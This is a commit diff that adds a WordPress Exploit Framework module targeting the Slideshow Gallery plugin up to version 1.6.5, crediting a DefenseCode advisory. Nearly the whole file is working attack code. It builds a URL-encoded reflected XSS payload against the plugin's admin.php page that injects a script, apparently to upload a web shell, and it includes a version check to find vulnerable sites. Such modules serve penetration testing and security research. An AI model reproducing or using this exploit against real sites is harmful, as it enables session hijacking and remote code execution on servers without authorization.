Add Slideshow Gallery <= 1.6.5 reflected XSS shell upload

Author: rastating

modules/exploits/slideshow_gallery_reflected_xss_shell_upload.rb

@@ -0,0 +1,33 @@
+class Wpxf::Exploit::SlideshowGalleryReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Slideshow Gallery <= 1.6.5 Reflected XSS Shell Upload',
+      author: [
+        'DefenseCode <www.defensecode.com>', # Discovery
+        'Rob Carr <rob[at]rastating.com>'    # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8795'],
+        ['URL', 'http://www.defensecode.com/advisories/DC-2017-01-014_WordPress_Tribulant_Slideshow_Gallery_Plugin_Advisory.pdf']
+      ],
+      date: 'Apr 10 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('slideshow-gallery', '1.6.6')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=slideshow-galleries&method=view&id=#{Utility::Text.rand_numeric(2)}"\
+    "%5C%5C%5C%5C%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3Ca+href%3D%22"
+  end
+end